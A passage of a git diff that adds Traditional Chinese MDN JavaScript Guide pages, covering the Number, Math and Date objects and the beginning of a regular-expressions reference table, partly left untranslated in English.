+   <td>Special negative infinite value; returned on overflow</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.POSITIVE_INFINITY")}}</td>
+   <td>Special positive infinite value; returned on overflow</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.EPSILON")}}</td>
+   <td>Difference between one and the smallest value greater than one that can be represented as a {{jsxref("Number")}}.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MIN_SAFE_INTEGER")}}</td>
+   <td>可以在 JavaScript 中安全表示的最小數值。</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MAX_SAFE_INTEGER")}}</td>
+   <td>可以在 JavaScript 中安全表示的最大數值。</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption><code>Number</code> 的方法</caption>
+ <thead>
+  <tr>
+   <th>方法</th>
+   <th>描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.parseFloat()")}}</td>
+   <td>字串轉換成浮點數。<br>
+    等同於全域函式 {{jsxref("parseFloat", "parseFloat()")}} 。</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.parseInt()")}}</td>
+   <td>以指定的基數將字串轉換成整數。<br>
+    等同於全域函式 {{jsxref("parseInt", "parseInt()")}} 。</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isFinite()")}}</td>
+   <td>判定給定的值是不是一個有限數。</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isInteger()")}}</td>
+   <td>判定給定的值是不是一個整數</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isNaN()")}}</td>
+   <td>Determines whether the passed value is {{jsxref("Global_Objects/NaN", "NaN")}}. More robust version of the original global {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isSafeInteger()")}}</td>
+   <td>Determines whether the provided value is a number that is a <dfn>safe integer</dfn>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The <code>Number</code> prototype provides methods for retrieving information from <code>Number</code> objects in various formats. The following table summarizes the methods of <code>Number.prototype</code>.</p>
+
+<table class="standard-table">
+ <caption><code>Number.prototype</code> 的方法</caption>
+ <thead>
+  <tr>
+   <th scope="col">方法</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.toExponential", "toExponential()")}}</td>
+   <td>Returns a string representing the number in exponential notation.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.toFixed", "toFixed()")}}</td>
+   <td>Returns a string representing the number in fixed-point notation.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.toPrecision", "toPrecision()")}}</td>
+   <td>Returns a string representing the number to a specified precision in fixed-point notation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Math_物件"><code>Math</code> 物件</h2>
+
+<p>The built-in {{jsxref("Math")}} object has properties and methods for mathematical constants and functions. For example, the <code>Math</code> object's <code>PI</code> property has the value of pi (3.141...), which you would use in an application as</p>
+
+<pre class="brush: js notranslate">Math.PI
+</pre>
+
+<p>Similarly, standard mathematical functions are methods of <code>Math</code>. These include trigonometric, logarithmic, exponential, and other functions. For example, if you want to use the trigonometric function sine, you would write</p>
+
+<pre class="brush: js notranslate">Math.sin(1.56)
+</pre>
+
+<p>Note that all trigonometric methods of <code>Math</code> take arguments in radians.</p>
+
+<p>The following table summarizes the <code>Math</code> object's methods.</p>
+
+<table class="standard-table">
+ <caption><code>Math</code> 的方法</caption>
+ <thead>
+  <tr>
+   <th scope="col">方法</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Math.abs", "abs()")}}</td>
+   <td>絕對值</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}}</td>
+   <td>三角函數; 引數以弳度表示</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}}</td>
+   <td>反三角函數; 回傳值以弳度表示</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}}</td>
+   <td>雙曲函數; 引數以 hyperbolic angle 表示</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}}</td>
+   <td>反雙曲函數; 回傳值以 hyperbolic angle 表示</td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}}</p>
+   </td>
+   <td>指數及對數函式</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}}</td>
+   <td>回傳小於等於/大於等於指定數字的最大/最小整數</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}}</td>
+   <td>Returns lesser or greater (respectively) of comma separated list of numbers arguments</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.random", "random()")}}</td>
+   <td>回傳一個介於 0 到 1 之間的數值</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}},</td>
+   <td>Rounding and truncation functions.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}}</td>
+   <td>Square root, cube root, Square root of the sum of square arguments.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sign", "sign()")}}</td>
+   <td>The sign of a number, indicating whether the number is positive, negative or zero.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.clz32", "clz32()")}},<br>
+    {{jsxref("Math.imul", "imul()")}}</td>
+   <td>Number of leading zero bits in the 32-bit binary representation.<br>
+    The result of the C-like 32-bit multiplication of the two arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Unlike many other objects, you never create a <code>Math</code> object of your own. You always use the built-in <code>Math</code> object.</p>
+
+<h2 id="Date_物件"><code>Date</code> 物件</h2>
+
+<p>JavaScript 沒有所謂日期(date)的數據型態(data type)。你可以使用 {{jsxref("Date")}} 物件及其方法去設定日期跟時間來滿足你的需求 。<code>Date</code> 物件有大量的設定取得操作日期的方法(method)，但它沒有屬性。</p>
+
+<p>JavaScript 處理日期的方式跟Java類似。這兩個語言有許多一樣的date方法，且都將日期儲存為從1970年1月1號0時0分0秒以來的毫秒數(millisecond)。</p>
+
+<p><code>Date</code> 物件範圍是 -100,000,000 days to 100,000,000 days 以1970年1月1號0時0分0秒UTC為基準。</p>
+
+<p>創建一個<code>Date</code>物件:</p>
+
+<pre class="brush: js notranslate">var dateObjectName = new Date([parameters]);
+</pre>
+
+<p>在這裡創建一個名為<code>dateObjectName</code> 的 <code>Date</code> 物件；它可以是一個新的物件或是某個以存在的物件當中的屬性。</p>
+
+<p>Calling <code>Date</code> without the <code>new</code> keyword returns a string representing the current date and time.</p>
+
+<p>The <code>parameters</code> in the preceding syntax can be any of the following:</p>
+
+<ul>
+ <li>Nothing: creates today's date and time. For example, <code>today = new Date();</code>.</li>
+ <li>A string representing a date in the following form: "Month day, year hours:minutes:seconds." For example, <code>var Xmas95 = new Date("December 25, 1995 13:30:00")</code>. If you omit hours, minutes, or seconds, the value will be set to zero.</li>
+ <li>A set of integer values for year, month, and day. For example, <code>var Xmas95 = new Date(1995, 11, 25)</code>.</li>
+ <li>A set of integer values for year, month, day, hour, minute, and seconds. For example, <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li>
+</ul>
+
+<h3 id="Date_的方法"> <code>Date</code> 的方法</h3>
+
+<p>The <code>Date</code> object methods for handling dates and times fall into these broad categories:</p>
+
+<ul>
+ <li>"set" methods, for setting date and time values in <code>Date</code> objects.</li>
+ <li>"get" methods, for getting date and time values from <code>Date</code> objects.</li>
+ <li>"to" methods, for returning string values from <code>Date</code> objects.</li>
+ <li>parse and UTC methods, for parsing <code>Date</code> strings.</li>
+</ul>
+
+<p>With the "get" and "set" methods you can get and set seconds, minutes, hours, day of the month, day of the week, months, and years separately. There is a <code>getDay</code> method that returns the day of the week, but no corresponding <code>setDay</code> method, because the day of the week is set automatically. These methods use integers to represent these values as follows:</p>
+
+<ul>
+ <li>Seconds and minutes: 0 到 59</li>
+ <li>Hours: 0 到 23</li>
+ <li>Day: 0 (星期日) 到 6 (星期六)</li>
+ <li>Date: 1 到 31 (這個月的第幾天)</li>
+ <li>Months: 0 (一月) 到 11 (十二月)</li>
+ <li>Year: years since 1900</li>
+</ul>
+
+<p>舉例，假設你定義了一個日期如下：</p>
+
+<pre class="brush: js notranslate">var Xmas95 = new Date('December 25, 1995');
+</pre>
+
+<p>那 <code>Xmas95.getMonth()</code> 將會回傳 11， <code>Xmas95.getFullYear()</code> 會回傳 1995。</p>
+
+<p><code>getTime</code> 及 <code>setTime</code> 這兩個方法對於比較日期有幫助。 The <code>getTime</code> method returns the number of milliseconds since January 1, 1970, 00:00:00 for a <code>Date</code> object.</p>
+
+<p>For example, the following code displays the number of days left in the current year:</p>
+
+<pre class="brush: js notranslate">var today = new Date();
+var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Set day and month
+endYear.setFullYear(today.getFullYear()); // Set year to this year
+var msPerDay = 24 * 60 * 60 * 1000; // Number of milliseconds per day
+var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay;
+var daysLeft = Math.round(daysLeft); //returns days left in the year
+</pre>
+
+<p>This example creates a <code>Date</code> object named <code>today</code> that contains today's date. It then creates a <code>Date</code> object named <code>endYear</code> and sets the year to the current year. Then, using the number of milliseconds per day, it computes the number of days between <code>today</code> and <code>endYear</code>, using <code>getTime</code> and rounding to a whole number of days.</p>
+
+<p>The <code>parse</code> method is useful for assigning values from date strings to existing <code>Date</code> objects. For example, the following code uses <code>parse</code> and <code>setTime</code> to assign a date value to the <code>IPOdate</code> object:</p>
+
+<pre class="brush: js notranslate">var IPOdate = new Date();
+IPOdate.setTime(Date.parse('Aug 9, 1995'));
+</pre>
+
+<h3 id="範例">範例</h3>
+
+<p>下面這個範例，<code>JSClock()</code> 這個函式將會以數位時鐘的格式回傳時間。</p>
+
+<pre class="brush: js notranslate">function JSClock() {
+  var time = new Date();
+  var hour = time.getHours();
+  var minute = time.getMinutes();
+  var second = time.getSeconds();
+  var temp = '' + ((hour &gt; 12) ? hour - 12 : hour);
+  if (hour == 0)
+    temp = '12';
+  temp += ((minute &lt; 10) ? ':0' : ':') + minute;
+  temp += ((second &lt; 10) ? ':0' : ':') + second;
+  temp += (hour &gt;= 12) ? ' P.M.' : ' A.M.';
+  return temp;
+}
+</pre>
+
+<p> <code>JSClock</code> 這個函式會先建立一個名為 <code>time</code> 的 <code>Date</code> 物件; 因為沒有提供任何引數，所以會放入目前的日期及時間。接著呼叫 <code>getHours</code> 、 <code>getMinutes</code> 以及 <code>getSeconds</code> 這三個方法將現在的時、分以及秒分別指定給 <code>hour</code> 、 <code>minute</code> 以及 <code>second</code> 這三個變數。</p>
+
+<p>接著的四行指令將會建立一個時間的字串。第一行的指令建立了一個變數 <code>temp</code>，以條件運算式指定值; 如果 <code>hour</code> 大於 12，那就指定 (<code>hour - 12</code>)，不然會直接指定 <code>hour</code>， 但如果 <code>hour</code> 等於 0 ， 則改為 12。</p>
+
+<p>接著下一行將 <code>minute</code> 加到 <code>temp</code> 中。如果 <code>minute</code> 小於 10, 則會在附加時補上一個零; 不然的話會直接加上冒號及分鐘數。秒數也是以同樣的作法附加到 <code>temp</code> 上。</p>
+
+<p>最後，判斷 <code>hour</code> 是不是大於等於 12 ，如果是就在 <code>temp</code> 加上 "P.M." ，不然就加上 "A.M."。</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</p>
diff --git a/files/zh-tw/web/javascript/guide/regular_expressions/index.html b/files/zh-tw/web/javascript/guide/regular_expressions/index.html
new file mode 100644
index 0000000000..f9b4235c2a
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/regular_expressions/index.html
@@ -0,0 +1,700 @@
+---
+title: 正規表達式
+slug: Web/JavaScript/Guide/Regular_Expressions
+tags:
+  - Guide
+  - JavaScript
+  - RegExp
+  - 正規表達式
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</p>
+
+<p>正規表達式是被用來匹配字串中字元組合的模式。在 JavaScript 中，正規表達式也是物件，這些模式在 {{jsxref("RegExp")}} 的 {{jsxref("RegExp.exec", "exec")}} 和 {{jsxref("RegExp.test", "test")}} 方法中，以及 {{jsxref("String")}} 的 {{jsxref("String.match", "match")}}、{{jsxref("String.replace", "replace")}}、{{jsxref("String.search", "search")}}、{{jsxref("String.split", "split")}} 等方法中被運用。這一章節將解說 JavaScript 中的正規表達式。</p>
+
+<h2 id="建立正規表達式">建立正規表達式</h2>
+
+<p>您可透過下列兩種方法去創建一條正規表達式：</p>
+
+<p>使用正規表達式字面值（regular expression literal），包含兩個 <code>/</code> 字元之間的模式如下：</p>
+
+<pre>var re = /ab+c/;
+</pre>
+
+<p>正規表達式字面值在 script 載入時會被編譯，當正規表達式為定值時，使用此方法可獲得較佳效能。</p>
+
+<p>或呼叫 {{jsxref("RegExp")}} 物件的建構函式，如下：</p>
+
+<pre>var re = new RegExp('ab+c');
+</pre>
+
+<p>使用建構子函數供即時編譯正則表達式，當模式會異動、事先未知匹配模式、或者您將從其他地方取得時，使用建構子函數將較為合適。</p>
+
+<h2 id="撰寫正規表達模式">撰寫正規表達模式</h2>
+
+<p>正規表達模式由數個簡易字元組成，例如 <code>/abc/</code>，或是由簡易字元及特殊符號組合而成，例如 <code>/ab*c/</code>、<code>/Chapter (\d+)\.\d*/ )</code>。最後一個範例用到了括號，這在正規表達式中用作記憶組，使用括號的匹配將會被留到後面使用，在 {{ web.link("#Using_Parenthesized_Substring_Matches", "使用帶括號的配對子字串 Using Parenthesized Substring Matches") }} 有更多解釋。</p>
+
+<h3 id="使用簡易模式">使用簡易模式</h3>
+
+<p>簡易的模式是有你找到的直接匹配所構成的。比如：<code>/abc/</code> 這個模式就匹配了在一個字符串中，僅僅字符 <code>'abc'</code> 同時出現並按照這個順序。這兩個句子中「<em>Hi, do you know your abc's?</em>」和「<em>The latest airplane designs evolved from slabcraft.</em>」就會匹配成功。在上面的兩個實例中，匹配的是子字符串 'abc'。在字符串中的 "Grab crab"('ab c') 中將不會被匹配，因為它不包含任何的 'abc' 字符串。</p>
+
+<h3 id="使用特殊字元">使用特殊字元</h3>
+
+<p>當你需要搜尋一個比直接匹配需要更多條件的匹配，比如搜尋一或多個 'b'，或者搜尋空格，那麼這個模式將要包含特殊字符。例如： 模式 <code>/ab*c/</code> 匹配了一個單獨的 'a' 後面跟了零或多個 'b'（* 的意思是前面一項出現了零或多個），且後面跟著 'c' 的任何字符組合。在字符串 "cbbabbbbcdebc" 中，這個模式匹配了子字符串 "abbbbc"。</p>
+
+<p>下面的表格列出了在正則表達式中可以利用的特殊字符完整列表以及描述。</p>
+
+<table class="standard-table">
+ <caption>正則表達式中的特殊字元</caption>
+ <thead>
+  <tr>
+   <th scope="col">字元</th>
+   <th scope="col">解說</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="#special-backslash" id="special-backslash" name="special-backslash"><code>\</code></a></td>
+   <td>
+    <p>反斜線放在非特殊符號前面，使非特殊符號不會被逐字譯出，代表特殊作用。<br>
+     例如：'b' 如果沒有 '\' 在前頭，功能是找出小寫 b；若改為 '\b' 則代表的是邊界功能，block 用意。<br>
+     /\bter\b/.test("interest")         //false<br>
+     /\bter\b/.test("in ter est")       //true<br>
+     <br>
+     <code>/a*/</code> 找出0個或是1個以上的a；而 /a\*/ 找出 'a*' 這個字串<br>
+     /aaaa*/g.test("caaady")    //true<br>
+     /a\*/.test("caaady")           //false<br>
+     <br>
+     '\' 也能使自身表現出來，表現 '\' ，必須以 '\\' 表達。<br>
+     /[\\]/.test("&gt;\\&lt;")                 //true</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-caret" id="special-caret" name="special-caret"><code>^</code></a></td>
+   <td>
+    <p>匹配輸入的開頭，如果 multiline flag 被設為 true，則會匹配換行字元後。</p>
+
+    <p>例如：<code>/^A/</code> 不會匹配「an A」的 A，但會匹配「An E」中的 A。</p>
+
+    <p>「<code>^</code>」出現在字元集模式的字首中有不同的意思，詳見<a href="#special-negated-character-set" title="#special-negated-character-set">補字元集</a>。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-dollar" id="special-dollar" name="special-dollar"><code>$</code></a></td>
+   <td>
+    <p>匹配輸入的結尾，如果 multiline flag 被設為 true，則會匹配換行字元。</p>
+
+    <p>例如：<code>/t$/</code> 不會匹配「eater」中的 t，卻會匹配「eat」中的 t。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-asterisk" id="special-asterisk" name="special-asterisk"><code>*</code></a></td>
+   <td>
+    <p>匹配前一字元 0 至多次。<br>
+     <br>
+     下面舉例要求基本 'aaaa' ，'a*' 後面有0個或多個a的意思<br>
+     /aaaaa*/g.test("caaady")   //false</p>
+
+    <p>例如：<code>/bo*/</code> 匹配「A ghost booooed」中的 boooo、「A bird warbled」中的 b，但在「A goat grunted」中不會匹配任何字串。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-plus" id="special-plus" name="special-plus"><code>+</code></a></td>
+   <td>
+    <p>匹配前一字元 1 至多次，等同於 <code>{1,}</code>。</p>
+
+    <p>例如：<code>/a+/</code> 匹配「candy」中的 a，以及所有「caaaaaaandy」中的 a。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-questionmark" id="special-questionmark" name="special-questionmark"><code>?</code></a></td>
+   <td>
+    <p>匹配前一字元 0 至 1 次，等同於 <code>{0,1}</code>。</p>
+
+    <p>例如：<code>/e?le?/</code> 匹配「angel」中的 el、「angle」中的 le、以及「oslo」中的 l。</p>
+
+    <p>如果是使用在 <code>*</code>、<code>+</code>、<code>?</code> 或 <code>{}</code> 等 quantifier 之後，將會使這些 quantifier non-greedy（也就是儘可能匹配最少的字元），與此相對的是 greedy（匹配儘可能多的字元）。例如：在「123abc」中應用 <code>/\d+/</code> 可匹配「123」，但使用 <code>/\d+?/</code> 在相同字串上只能匹配「1」。</p>
+
+    <p><br>
+     Also used in lookahead assertions, as described in the <code>x(?=y)</code> and <code>x(?!y)</code> entries of this table.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-dot" id="special-dot" name="special-dot"><code>.</code></a></td>
+   <td>
+    <p>（小數點）匹配除了換行符號之外的單一字元。</p>
+
+    <p>例如：/.n/ 匹配「nay, an apple is on the tree」中的 an 和 on，但在「nay」中沒有匹配。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-capturing-parentheses" id="special-capturing-parentheses" name="special-capturing-parentheses"><code>(x)</code></a></td>
+   <td>
+    <p>Capturing Parentheses</p>
+
+    <p>匹配 'x' 並記住此次的匹配，如下面的範例所示。</p>
+
+    <p>在 正則表達示 /(foo) (bar) \1 \2/ 中的 (foo) 與 (bar) 可匹配了 "foo bar foo bar" 這段文字中的前兩個字，而 \1 與 \2 則匹配了後面的兩個字。注意， \1, \2, ..., \n 代表的就是前面的pattern，以本範例來說，/(foo) (bar) \1 \2/  等同於  /(foo) (bar) (foo) (bar)/。</p>
+
+    <p>用於取代(replace)的話，則是用 $1, $2,...,$n。如 'bar boo'.replace(/(...) (...)/, '$2 $1').<br>
+     <code>$&amp;</code> means the whole matched string.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-capturing-parentheses" id="special-non-capturing-parentheses" name="special-non-capturing-parentheses"><code>(?:x)</code></a></td>
+   <td>
+    <p><em>Non-Capturing Parentheses</em></p>
+
+    <p>找出 'x'，這動作不會記憶<br>
+     <code>()</code>為 group 的意思，檢查時會再 wrap 一次，若有 <code>g</code> flag 會無效，<br>
+     <code>?:</code> 代表只要 group 就好，不要 wrap</p>
+
+    <p>有無 <code>()</code> 差別 ？<br>
+     <code>'foo'.match(/(foo)/)  </code><br>
+     <code>// ['foo', 'foo', index: 0, input: 'foo' ]<br>
+     'foo'.match(/foo/)<br>
+     // [ 'foo', index: 0, input: 'foo' ]</code></p>
+
+    <p> 有無<code>?:</code>差別？<br>
+     <code>'foo'.match(/(foo){1,2}/)<br>
+     // [ 'foo', 'foo', index: 0, input: 'foo' ]<br>
+     'foo'.match(/(?:foo){1,2}/)<br>
+     [ 'foo', index: 0, input: 'foo' ]</code><br>
+     連<code>()</code>都沒有，則<code>{1,2}</code>只是適用在<code>foo</code>的第二個<code>o</code>的條件而已。</p>
+
+    <p>更多資訊詳見 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Using_parentheses">Using parentheses</a> 。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-lookahead" id="special-lookahead" name="special-lookahead"><code>x(?=y)</code></a></td>
+   <td>
+    <p>符合'x'，且後接的是'y'。'y'為'x'存在的意義。<br>
+     <br>
+     例如：<code>/Jack(?=Sprat)/，</code>在後面是Sprat的存在下，Jack才有意義。<br>
+     <code>/Jack(?=Sprat|Frost)/</code>後面是Sprat「或者是」Frost的存在下，Jack才有意義。但我們要找的目標是Jack，後面的條件都只是filter/條件的功能而已。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-look-ahead" id="special-negated-look-ahead" name="special-negated-look-ahead"><code>x(?!y)</code></a></td>
+   <td>
+    <p>符合'x'，且後接的不是'y'。'y'為否定'x'存在的意義，後面不行前功盡棄(negated lookahead)。<br>
+     <br>
+     例如： <code>/\d+(?!\.)/</code> ，要找一個或多個數字時，在後面接的不是「點」的情況下成立。<br>
+     <br>
+     <code>var result = /\d+(?!\.)/.exec("3.141")</code> ，<br>
+     result執行出來為[ '141', index: 2, input: '3.141']，<br>
+     index:2，代表141從index = 2開始。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-or" id="special-or" name="special-or"><code>x|y</code></a></td>
+   <td>
+    <p>符合「x」或「y」。</p>
+
+    <p>舉例來說，<code>/green|red/</code>  的話，會匹配 <code>"green apple"</code> 中的 <code>"green"</code> 以及 <code>"red apple."</code> 的 <code>"red"</code> 。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier" id="special-quantifier" name="special-quantifier"><code>{n}</code></a></td>
+   <td>
+    <p>規定符號確切發生的次數，n為正整數</p>
+
+    <p>例如：<code>/a{2}/</code>無法在 "candy" 找到、但 "caandy" 行；若字串擁有2個以上 "caaandy" 還是只會認前面2個。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier-range" id="special-quantifier-range" name="special-quantifier-range"><code>{n,m}</code></a></td>
+   <td>
+    <p>搜尋條件：n為至少、m為至多，其n、m皆為正整數。若把m設定為0，則為Invalid regular expression。</p>
+
+    <p>例如：<code>/a{1,3}/ </code>無法在 "cndy" 匹配到；而在 "candy" 中的第1個"a"符合；在 "caaaaaaandy" 中的前3個 "aaa" 符合，雖然此串有許多a，但只認前面3個。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-character-set" id="special-character-set" name="special-character-set"><code>[xyz]</code></a></td>
+   <td>字元的集合。此格式會匹配中括號內所有字元, including <a href="https://developer.mozilla.org/zh-TW/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences">escape sequences</a>。特殊字元，例如點（<code>.</code>） 和米字號（<code>*</code>），在字元集合中不具特殊意義，所以不需轉換。若要設一個字元範圍的集合，可以使用橫線 <code>"-"</code> ，如下例所示：<br>
+    <br>
+    <code>[a-d] </code>等同於 <code>[abcd]。</code>會匹配 "brisket" 的 "b" 、"city" 的 'c' ……等。 而<code>/[a-z.]+/ </code>和 <code>/[\w.]+/</code> 均可匹配字串 "test.i.ng" 。</td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-character-set" id="special-negated-character-set" name="special-negated-character-set"><code>[^xyz]</code></a></td>
+   <td>
+    <p>bracket中寫入的字元將被否定，匹配非出現在bracket中的符號。<br>
+      可用 '-' 來界定字元的範圍。一般直接表達的符號都可以使用這種方式。</p>
+
+    <p><code>[^abc]</code>可以寫作[^<code>a-c]</code>. "brisket" 中找到 'r' 、"chop."中找到 'h'。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backspace" id="special-backspace" name="special-backspace"><code>[\b]</code></a></td>
+   <td>吻合倒退字元 (U+0008). (不會跟 \b 混淆)</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word-boundary" id="special-word-boundary" name="special-word-boundary"><code>\b</code></a></td>
+   <td>
+    <p>吻合文字邊界。A word boundary matches the position where a word character is not followed or preceded by another word-character. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero. (Not to be confused with <code>[\b]</code>.)</p>
+
+    <p>Examples:<br>
+     <code>/\bm/</code> matches the 'm' in "moon" ;<br>
+     <code>/oo\b/</code> does not match the 'oo' in "moon", because 'oo' is followed by 'n' which is a word character;<br>
+     <code>/oon\b/</code> matches the 'oon' in "moon", because 'oon' is the end of the string, thus not followed by a word character;<br>
+     <code>/\w\b\w/</code> will never match anything, because a word character can never be followed by both a non-word and a word character.</p>
+
+    <p><strong>Note:</strong> JavaScript's regular expression engine defines a <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.2.6">specific set of characters</a> to be "word" characters. Any character not in that set is considered a word break. This set of characters is fairly limited: it consists solely of the Roman alphabet in both upper- and lower-case, decimal digits, and the underscore character. Accented characters, such as "é" or "ü" are, unfortunately, treated as word breaks.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word-boundary" id="special-non-word-boundary" name="special-non-word-boundary"><code>\B</code></a></td>
+   <td>
+    <p>吻合非文字邊界。This matches a position where the previous and next character are of the same type: Either both must be words, or both must be non-words. The beginning and end of a string are considered non-words.</p>
+
+    <p>For example, <code>/\B../</code> matches 'oo' in "noonday", and <code>/y\B./</code> matches 'ye' in "possibly yesterday."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-control" id="special-control" name="special-control"><code>\c<em>X</em></code></a></td>
+   <td>
+    <p>Where <em>X</em> is a character ranging from A to Z. Matches a control character in a string.</p>
+
+    <p>For example, <code>/\cM/</code> matches control-M (U+000D) in a string.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-digit" id="special-digit" name="special-digit"><code>\d</code></a></td>
+   <td>
+    <p>吻合數字，寫法等同於 <code>[0-9] 。</code></p>
+
+    <p>例如：<code>/\d/</code> 或 <code>/[0-9]/</code> 在 "B2 is the suite number." 中找到 '2'</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-digit" id="special-non-digit" name="special-non-digit"><code>\D</code></a></td>
+   <td>
+    <p>吻合非數字，寫法等同於 <code>[^0-9]。</code></p>
+
+    <p>例如：<code>/\D/</code> 或<code>/[^0-9]/</code> 在 "B2 is the suite number." 中找到 'B' 。</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><a href="#special-form-feed" id="special-form-feed" name="special-form-feed">\f</a></code></td>
+   <td>Matches a form feed (U+000C).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-line-feed" id="special-line-feed" name="special-line-feed"><code>\n</code></a></td>
+   <td>Matches a line feed (U+000A).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-carriage-return" id="special-carriage-return" name="special-carriage-return"><code>\r</code></a></td>
+   <td>Matches a carriage return (U+000D).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-white-space" id="special-white-space" name="special-white-space"><code>\s</code></a></td>
+   <td>
+    <p>Matches a single white space character, including space, tab, form feed, line feed. Equivalent to <code>[ \f\n\r\t\v\u00a0\u1680\u180e\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.</p>
+
+    <p>For example, <code>/\s\w*/</code> matches ' bar' in "foo bar."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-white-space" id="special-non-white-space" name="special-non-white-space"><code>\S</code></a></td>
+   <td>
+    <p>Matches a single character other than white space. Equivalent to <code>[^ \f\n\r\t\v​\u00a0\​\u1680u180e\u2000​\u2001\u2002​\u2003\u2004​\u2005\u2006​\u2007\u2008​\u2009\u200a​\u2028\u2029​\u202f\u205f​\u3000]</code>.</p>
+
+    <p>For example, <code>/\S\w*/</code> matches 'foo' in "foo bar."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-tab" id="special-tab" name="special-tab"><code>\t</code></a></td>
+   <td>Matches a tab (U+0009).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-vertical-tab" id="special-vertical-tab" name="special-vertical-tab"><code>\v</code></a></td>
